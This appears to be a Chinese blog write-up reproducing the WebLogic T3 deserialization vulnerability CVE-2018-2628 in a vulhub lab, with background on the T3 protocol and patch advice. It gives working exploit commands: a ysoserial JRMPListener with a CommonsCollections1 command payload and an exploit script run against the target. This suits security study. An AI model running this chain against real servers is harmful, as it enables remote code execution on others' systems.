赞
踩
接着上篇,这次复现经典的weblogic反序列化漏洞—CVE-2018-2628
属于利用T3协议配合RMP接口反向发送反序列化数据。
同样先利用vulhub快速复现,然后再来看看原理。
CVE-2018-2628
影响范围:10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3
docker开启环境
root@kali:/vulhub/weblogic/CVE-2018-2628# docker-compose up -d
浏览器访问localhost:7001/console,出现weblogic的登录界面,说明环境已经搭好了 (╹ڡ╹ )vulhub yyds!
可以看到weblogic的版本是10.3.6.0
利用ysoserial启动一个JRMP Server服务监听
这里插一句编译ysoserial注意JDK版本不要过高,建议在1.7u21以下,卡了好久┗|`O′|┛
开启监听,命令执行这里老办法,尝试新建一个shell文件,比较直观
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 端口 CommonsCollections1 "touch /tmp/shell"
使用vulhub提供的exp脚本,为了方便,保存在ysoserial-0.0.6-SNAPSHOT-all.jar同目录下
执行exp
python CVE-2018-2628exp.py [开启weblogic的IP] [端口] ysoserial-0.0.6-SNAPSHOT-all.jar [开启JRMP Server的IP] [监听端口] JRMPClient
exp开始跑,监听成功
exp跑完,进入docker容器查看文件是否创建成功
root@kali:/vulhub/weblogic/CVE-2018-2628# docker-compose exec weblogic bash
复现完成
看一下官方的漏洞简介
Oracle WebLogic Server是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。WLS Core是其中的一个核心组件。 Oracle WebLogic Server中的WLS核心组件存在远程代码执行漏洞。攻击者可通过远程发送攻击数据,借助T3协议在WebLogic Server中执行反序列化操作利用该漏洞执行代码。
首先需要搞懂啥是T3协议
T3协议:WebLogic Server 中的 RMI(远程方法调用)通信使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。
JRMP Server服务:java远程消息交换协议
利用nmap快速检测T3协议是否开放
nmap -sV IP --script=weblogic-t3-info.nse -p 7001
大致流程
结合exp来看
主函数很短,接收JRMP参数,执行exploit函数
exploit中,看名字t3_handshake和build_t3_request_object应该是建立T3连接,generate_payload应该是序列化数据,send_payload_objdata自然就是发送数据包了
发送T3协议头数据包
构造序列化数据包并发送
打补丁
对T3协议进行访问控制
https://www.cnblogs.com/afanti/p/10256840.html
https://blog.csdn.net/u014715599/article/details/85256193
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。